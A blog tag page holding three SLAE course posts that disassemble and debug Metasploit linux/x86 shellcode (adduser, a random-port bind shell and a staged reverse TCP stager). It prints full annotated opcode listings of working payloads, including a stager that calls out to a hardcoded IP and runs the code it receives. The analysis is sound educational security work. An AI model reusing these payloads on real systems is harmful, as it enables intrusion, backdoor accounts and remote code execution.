Posts Tagged gdb
Assignment 5.3: MSF shellcode analysis linux/x86/adduser
Posted by msstavros645 in Shellcode on February 8, 2015
Analyse at least 3 shellcode samples created using msfpayload for linux/x86. Use gdb/ndisasm/libemu to investigate the functionality and present your findings.
The third shellcode sample we will analyse is the linux/x86/adduser. First we check the options to see if we need to set any parameters:
There are two parameters we need to set, the user and the password. Generate the raw shellcode, and pass it through ndisasm to disassemble:
On first glance, there seem to be a lot of “weird” instructions around the middle part of the disassembled listing. We will get into that latter on. Let’s analyse the first part of the code. There are some common zeroing out of registers, and then EAX is loaded with 0x46 (70), before the int 80 instruction. Looking into /usr/include/i386-linux-gnu/asm/unistd_32.h we see:
The man page for setreuid will tell us all we need to know for this call:
The values of Real userID and Effective UserID are passed as parameters in the registers EBX, ECX. Return from this function (into EAX) should be 0 to indicate that we have successfully executed the call. We will need to run the code inside gdb. Extract the code in C format, cut, paste into shellcode.c, compile and execute under gdb:
Set the breakpoint at the start of the shellcode:
We will step through the code, until we execute the syscall:
Observe that the return value (EAX) is not zero, i.e. we failed to set real/effective uid to 0. This is quite normal since we are executing the shellcode as a non-root user. Since this shellcode is supposed to make a new entry into /etc/passwd, we need to execute it with elevated (root) privileges:
Step once more:
Yes, this time the syscall was successful. Of course, we must be extremely careful running the code with super user privileges. I am not executing this on my everyday system, rather on a dedicated analysis system, which I do not really mind messing with. Also the source of the shellcode is trusted i.e. metasploit.
Here are the comments for the first part of the shellcode:
The next part of the code stores 0x5 into EAX, to prepare for a syscall. Looking into unistd_32.h:
The man page for open() is presented below:
So, EBX should point to the filename, and ECX should be the flags, which denotes the access mode we want to have on this file. To see the possible values we can look into fcntl.h:
The commentary for the second part of the code can now be completed:
Moving on we reach the part of the code that has some interesting new instructions:
We can see that there is a call instruction, which will transfer code execution at offset 0x50. In our disassembled listing, the offsets (first column) do not match, the closest is 0x4f, and then 0x52. Observe, that on 0x4f we see the 0A byte value (new line), followed by 59 8B. The opcodes marked by the yellow area, should be a string value, in the form of a declare byte, in the original listing i.e. a string constant, which ends with the new line character. All the values fall within the printable ASCII characters range (0x20-0x7E). If we extract those values and use an echo –ne command we see the following:
So this is indeed the entry that we are going to put inside /etc/passwd file. In order to get a correct disassembly listing from ndisasm, we will have to use the –k option, to define a portion of the shellcode that we want to skip from the disassembly process. Offset is 0x2B (43) and the length of the code is 0x50 – 0x2b= 80-43=37. The command for ndisasm is presented below:
We are now able to have the correct disassembly listing and analyse the last part of the code:
The last part of the code writes the new entry to the file, and then exits. It is interesting that the length of the string has not been passed via a direct mov edx,<length> but instead the actual byte value within the call instruction was used.
The following presents the complete analysis:
00000000 31C9 xor ecx,ecx ;zero out ECX
00000002 89CB mov ebx,ecx ;zero out EBX
00000004 6A46 push byte +0x46 ;push on stack 0x46 (70)
00000006 58 pop eax ;pop from stack 0x46 into EAX
00000007 CD80 int 0x80 ;syscall setreuid (0,0)
00000009 6A05 push byte +0x5 ;push 0x5 on stack
0000000B 58 pop eax ;pop 0x5 from stack into EAX
0000000C 31C9 xor ecx,ecx ;zero out ECX
0000000E 51 push ecx ;push 0 on the stack
0000000F 6873737764 push dword 0x64777373 ;push dwss on stack
00000014 682F2F7061 push dword 0x61702f2f ;push ap// on stack
00000019 682F657463 push dword 0x6374652f ;push cte/ on stack
0000001E 89E3 mov ebx,esp ;EBX points to top of stack
00000020 41 inc ecx ;ECX = 1
00000021 B504 mov ch,0x4 ;ECX = 0x401
00000023 CD80 int 0x80 ;syscall open(/etc//passwd, 401)
;we open the file with write perms
00000025 93 xchg eax,ebx ;store file descriptor from open() into EBX
;EAX=previous value of EBX, i.e. stack pointer
;from open()
00000026 E825000000 call dword 0x50 ;jump to offset 0x50
0000002B skipping 0x25 bytes ;this section holds the line we want to
;add into /etc/passwd
00000050 59 pop ecx ;ECX points to the point where we need to return
;from the call above, effectively
;at the start of the string
00000051 8B51FC mov edx,[ecx-0x4] ;EDX = 0x25 (start of string - 4 bytes
;points us to 0x25, effectively, this is the
;LENGTH of the string we need to write)
00000054 6A04 push byte +0x4 ;push 4 on stack
00000056 58 pop eax ;pop 4 from stack into EAX
00000057 CD80 int 0x80 ;syscall write()
;EBX, fd to write to
;ECX, pointer to buffer containing the data
;EDX, bytes count
00000059 6A01 push byte +0x1 ;push 1 on stack
0000005B 58 pop eax ;pop 1 from stack into EAX
0000005C CD80 int 0x80 ;syscall exit()
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-645
Assignment 5.2: MSF shellcode analysis linux/x86/shell_bind_tcp_random_port
Posted by msstavros645 in Shellcode on February 8, 2015
Analyse at least 3 shellcode samples created using msfpayload for linux/x86. Use gdb/ndisasm/libemu to investigate the functionality and present your findings.
The second shellcode we will analyse is the shell_bind_tcp_random_port. First we check the options for this payload:
There are no optional parameters that we need to set. We will create the shellcode, and pass it through ndisasm to get the disassembled listing:
The first part of the code, creates a new socket file descriptor. Here is the analysis:
The second part, executes a listen syscall on the socket we have just created:
What is missing here is the bind() call. The proper way to create a listening port is to call socket(), then bind() and then listen(). The second call is missing, and is probably taken care of by the kernel, hence the random port in the shellcode’s description. We can verify the order of calls by looking at the man page for listen:
At this point, before continuing our analysis, we will use gdb to trace the code and see if our assumption is correct. Extract the code in C format, cut, paste into shellcode.c, compile and execute under gdb:
Set the breakpoint at the start of the shellcode:
We will step through the instructions up to the point before the listen call interrupt:
We execute a netstat to see the listening ports on the host:
We step through one more time in the debugger session:
The value of EAX is zero, which means that the listen() call was successful. We can verify this by examining once more the active connections on our host:
Yes, we have a new port listening on 34460. The ip address 0.0.0.0 means it will listen on all available interfaces (i.e. if we had two network interfaces, on both of them, plus localhost). So the commentary for this part can now be completed:
In order to be able to continue the gdb session we need to connect to this port, by opening another terminal:
The next part of the shellcode, is the accept() system call. In Assignment 2, we had analysed the accept syscall and presented a diagram:
The shellcode only passes the values of EAX and EBX. ECX is the same as in the listen call. If we examine the stack using our gdb session:
So accept will be called with parameters (3,0,0). Observe that the value at the top of the stack is the socket fd. The commentary is presented below:
Moving on we have a dup2 syscall, to redirect the client stdin/stdout/stderr to the server socket stdin/stdout/stderr we created in the first two parts of the shellcode. This is done, so that all commands that are entered on the client side are repeated on our side, and the result is sent back to the client.
ECX is used as a counter for the loop and to go through all file descriptors, 3 to 0, i.e. all file descriptors are duplicated on the client’s socket file descriptor. These numbers are 0-4 for our example analysing the code under a compiled C “wrapper” program (shellcode.c). The thing we need to remember here is that the code will duplicate any number of file descriptors available to the process inside which the shellcode is running, to the client socket. We will see this latter on when we will execute the shellcode under libemu.
The last part of the shellcode executes /bin/sh through an execve syscall:
We will also execute the shellcode through libemu.
Part of the output is presented in the following image:
Observe that the socket descriptor for the socket() call is 14 and for the client connection is 19.
Then all the dup2 calls follow, were all descriptors from 14 to 0 are duplicated to 19, and finally the execve call to spawn the shell.
The following presents the complete output:
int socket ( int domain = 2; int type = 1; int protocol = 0; ) = 14; int listen ( int s = 14; int backlog = 0; ) = 0; int accept ( int sockfd = 14; sockaddr_in * addr = 0x00000000 => none; int addrlen = 0x00000002 => none; ) = 19; int dup2 ( int oldfd = 19; int newfd = 14; ) = 14; int dup2 ( int oldfd = 19; int newfd = 13; ) = 13; int dup2 ( int oldfd = 19; int newfd = 12; ) = 12; int dup2 ( int oldfd = 19; int newfd = 11; ) = 11; int dup2 ( int oldfd = 19; int newfd = 10; ) = 10; int dup2 ( int oldfd = 19; int newfd = 9; ) = 9; int dup2 ( int oldfd = 19; int newfd = 8; ) = 8; int dup2 ( int oldfd = 19; int newfd = 7; ) = 7; int dup2 ( int oldfd = 19; int newfd = 6; ) = 6; int dup2 ( int oldfd = 19; int newfd = 5; ) = 5; int dup2 ( int oldfd = 19; int newfd = 4; ) = 4; int dup2 ( int oldfd = 19; int newfd = 3; ) = 3; int dup2 ( int oldfd = 19; int newfd = 2; ) = 2; int dup2 ( int oldfd = 19; int newfd = 1; ) = 1; int dup2 ( int oldfd = 19; int newfd = 0; ) = 0; int execve ( const char * dateiname = 0x00416fb6 => = "/bin//sh"; const char * argv[] = [ = 0xffffffff => none; ]; const char * envp[] = 0x00000000 => none; ) = 0;
We can also generate a graph showing the code analysis from libemu:
And then convert it into png format:
You can view the output below (click on it to see full scale image):
The following presents the complete analysis:
00000000 31DB xor ebx,ebx ;zero out EBX
00000002 F7E3 mul ebx ;zero out EAX,EDX
00000004 B066 mov al,0x66 ;EAX=0x66 (102)
00000006 43 inc ebx ;EBX=1
00000007 52 push edx ;push 0 on stack
00000008 53 push ebx ;push 1 on stack
00000009 6A02 push byte +0x2 ;push 2 on stack
0000000B 89E1 mov ecx,esp ;pointer to stack in ECX
0000000D CD80 int 0x80 ;syscall sys_socket(1,*args)
;*args(AF_INET,SOCK_STREAM,IPPROTO_IP
0000000F 52 push edx ;push 0 on stack
00000010 50 push eax ;store socket fd on stack
00000011 89E1 mov ecx,esp ;store stack pointer in ECX
00000013 B066 mov al,0x66 ;EAX=0x66 (102)
00000015 B304 mov bl,0x4 ;EBX=4
00000017 CD80 int 0x80 ;syscall listen(fd, backlog)
;since there was no bind() before
;this call, OS will give us
;at random a port where our socket
;will listen on. It will be listening
;on ALL available interfaces
00000019 B066 mov al,0x66 ;EAX=0x66 (102)
0000001B 43 inc ebx ;EBX=5
0000001C CD80 int 0x80 ;syscall accept()
;client_socketFD stored in EAX
0000001E 59 pop ecx ;store socket fd in ECX
0000001F 93 xchg eax,ebx ;EAX=5, EBX=client_socketFD
00000020 6A3F push byte +0x3f ;store 0x3f (63) on stack
00000022 58 pop eax ;remove 0x3f from stack, into EAX
00000023 CD80 int 0x80 ;syscall dup2(oldfd, newfd)
;duplicate(FD_inEBX, FD_inECX) i.e.
;client and server sockets
00000025 49 dec ecx ;ECX starts at one more than the socketfd
;which starts at 3 (0,1,2 are the fd for
;the process running our shellcode)
00000026 79F8 jns 0x20 ;is sign flag set (i.e. is ECX=-1)?
00000028 B00B mov al,0xb ;EAX=0xb (11)
0000002A 682F2F7368 push dword 0x68732f2f ;store hs// on the stack
0000002F 682F62696E push dword 0x6e69622f ;store nib/ on the stack
00000034 89E3 mov ebx,esp ;store stack pointer into EBX
00000036 41 inc ecx ;ECX=0
00000037 CD80 int 0x80 ;syscall execve
;execve('/bin/sh','','')
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-645
Assignment 5.1: MSF shellcode analysis linux/x86/shell/reverse_tcp
Posted by msstavros645 in Shellcode on February 8, 2015
Analyse at least 3 shellcode samples created using msfpayload for linux/x86. Use gdb/ndisasm/libemu to investigate the functionality and present your findings.
The first shellcode we will analyse is linux/x86/shell/reverse_tcp. Since there is a new tool called msfvenom which replaces msfpayload, I will use this to generate the shellcodes from metasploit. Let’s first see the options of the payload:
In the description we see that this is a STAGED shellcode i.e it will execute some commands, and then once completed will get a second part of commands from the remote end to execute on the system running this shellcode.
We can create the shellcode, specifying the ip address we want to connect to. We can leave the port at the default value of 4444 (0x115c). We will pass the raw output through ndisasm to see the disassembled listing:
The first part of the code performs a sys_socket syscall, to create a socket on the host:
The next part of the shellcode, is a connect() call on the socket we have just created:
The next part of the code executes an mprotect (EAX=0x7d, 125), as can be seen in unistd_32.h file:
Here is the analysis of the code:
Looking at the mprotect(2) man page, we can see that the function expects 3 arguments:
The first one (in EBX) is the pointer to the region that we want to set protection on. The second parameter (ECX) is the length of the region, and the third (EDX) is the protection mode.
We can see from our analysis that EBX points to the top of the stack, ECX has the value 4096 and EDX the value 7. In order to see the prot values we can look into /usr/include/asm-generic/mman-common.h:
Note: In order to quickly find an identifier (i.e. PROT_READ), one can use http://lxr.free-electrons.com/ident, which allows us to search through the whole linux kernel source code for any string.
So the code sets 4096 bytes from the stack pointer and on, with read, write and execute permissions. Probably in order to prepare the stack for loading (and executing) some other shellcode (for the second stage of the exploit).
The last part of the code seems to be a read call, but we need to investigate further.
We can extract the shellcode in a suitable format to include in our shellcode.c file, to run it under gdb. The extract is accomplished with the use of –f option to msfvenom:
Copy the shellcode, paste it into our file, save, compile and load under gdb:
Note: I am using a custom gdb init file to aid in displaying registers and part of the code that executes. This can be found here: https://github.com/gdbinit/Gdbinit/blob/master/gdbinit
We inspect the code by executing a disassemble command:
We will set a breakpoint at 0x0804a07c, just before the cdq instruction. Before we do that though we need to setup a listening netcat process on the ip that is hardcoded into the shellcode and port 4444. Upon continuing the debugger, we get the connection:
The debugger hits the second breakpoint:
We advance a couple of instructions using the stepi command:
So first ECX stores the value of the stack pointer, and the cdq instruction modifies EDX to zero, since EAX is already zero. CDQ copies the sign bit of EAX (bit 31) into every bit of EDX. EAX is zero, because the previous syscall (connect) was successful. See the man page:
Continuing to step through the code, we see that EDX will get the value 0xc00 (3072):
Then a syscall is prepared, with EAX getting the value 3, i.e. a read() syscall.
EBX holds the value of the socket file descriptor, ECX points to the top of the stack, and EDX, the count, is set at 0xc00 (3072).
We step one more instruction to execute the syscall. Gdb stops, and we move to netcat and input a string. Upon pressing enter, gdb continues execution and stops at the next instruction:
If we examine the stack:
We see that we have the string that we entered in the netcat session, appearing on the stack (74 65 73 74 is the hex representation for t e s t).
Observe that the next instruction to execute is the “jmp ecx”. ECX is pointing to the top of the stack, therefore, what this last part of code does is connect to a remote host, receive data from it, and upon reception completion, passing execution to it. Remember that we had enabled execution on this part of memory, so execution is guaranteed. The data that may be received will be up to 3072 bytes in length. That is what makes this a staged shellcode, it connects, gets additional payload from the remote end to store on the stack, and passes execution to it.
The completed analysis commentary for the last part of the code can now be written:
Just for the fun of it, we can also run the shellcode through libemu:
Output:
As we can see, the emulator stops at the connect() syscall, and after that, the memory protect and the read from the socket, then passing execution, are not analysed.
The following presents the complete analysis:
00000000 31DB xor ebx,ebx ;zero out ebx
00000002 F7E3 mul ebx ;zero out eax, edx
00000004 53 push ebx ;push 0 on stack
00000005 43 inc ebx ;ebx=1
00000006 53 push ebx ;push 1 on stack
00000007 6A02 push byte +0x2 ;push 2 on stack
00000009 B066 mov al,0x66 ;EAX=0x66
0000000B 89E1 mov ecx,esp ;ECX points to stack
0000000D CD80 int 0x80 ;syscall sys_socket(1,*args)
;*args(AF_INET, SOCK_STREAM, IPPROTO_IP)
0000000F 97 xchg eax,edi ;store socket file descriptor in edi
00000010 5B pop ebx ;EBX=2
00000011 680A01020F push dword 0xf02010a ;push ip address in stack, reverse byte order
00000016 680200115C push dword 0x5c110002 ;push port (reversed) and 0002 on stack
0000001B 89E1 mov ecx,esp ;store pointer to stack on ECX (*args)
0000001D 6A66 push byte +0x66 ;push on stack 0x66
0000001F 58 pop eax ;pop 0x66 from stack, store in EAX
00000020 50 push eax ;push 0x66 on stack
00000021 51 push ecx ;push *args on stack
00000022 57 push edi ;push socket fd on stack
00000023 89E1 mov ecx,esp ;store stack pointer to ECX (**args)
00000025 43 inc ebx ;EBX=3
00000026 CD80 int 0x80 ;syscall sys_connect(fd, **args)
;**args=(socketfd, *args, 0x66)
;*args=(2, port, ipaddress)
00000028 B207 mov dl,0x7 ;EDX=7
0000002A B900100000 mov ecx,0x1000 ;ECX=0x1000 (4096)
0000002F 89E3 mov ebx,esp ;store pointer of stack in EBX
00000031 C1EB0C shr ebx,0xc ;two instructions that negate each other
00000034 C1E30C shl ebx,0xc ;i.e. nothing will happen in EBX contents
00000037 B07D mov al,0x7d ;EAX=0x7d (125, mprotect)
00000039 CD80 int 0x80 ;syscall
0000003B 5B pop ebx ;store EBX value on stack (current stack pointer)
0000003C 89E1 mov ecx,esp ;store stack pointer in ECX
0000003E 99 cdq ;convert double to quad
;sign extend EAX, into EDX:EAX
;this effectively zeroes out EDX, since
;EAX is already zero, providing the connect was
;sucessful.
0000003F B60C mov dh,0xc ;EDX=0xc00 (3072)
00000041 B003 mov al,0x3 ;EAX=3 syscall for read
;read (socket fd,
;pointer to stack to store data,
;read up to 0xc00 bytes)
00000043 CD80 int 0x80 ;execute the call
00000045 FFE1 jmp ecx ;pass execution to the data you got from
;remote end
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-645

































































Recent Comments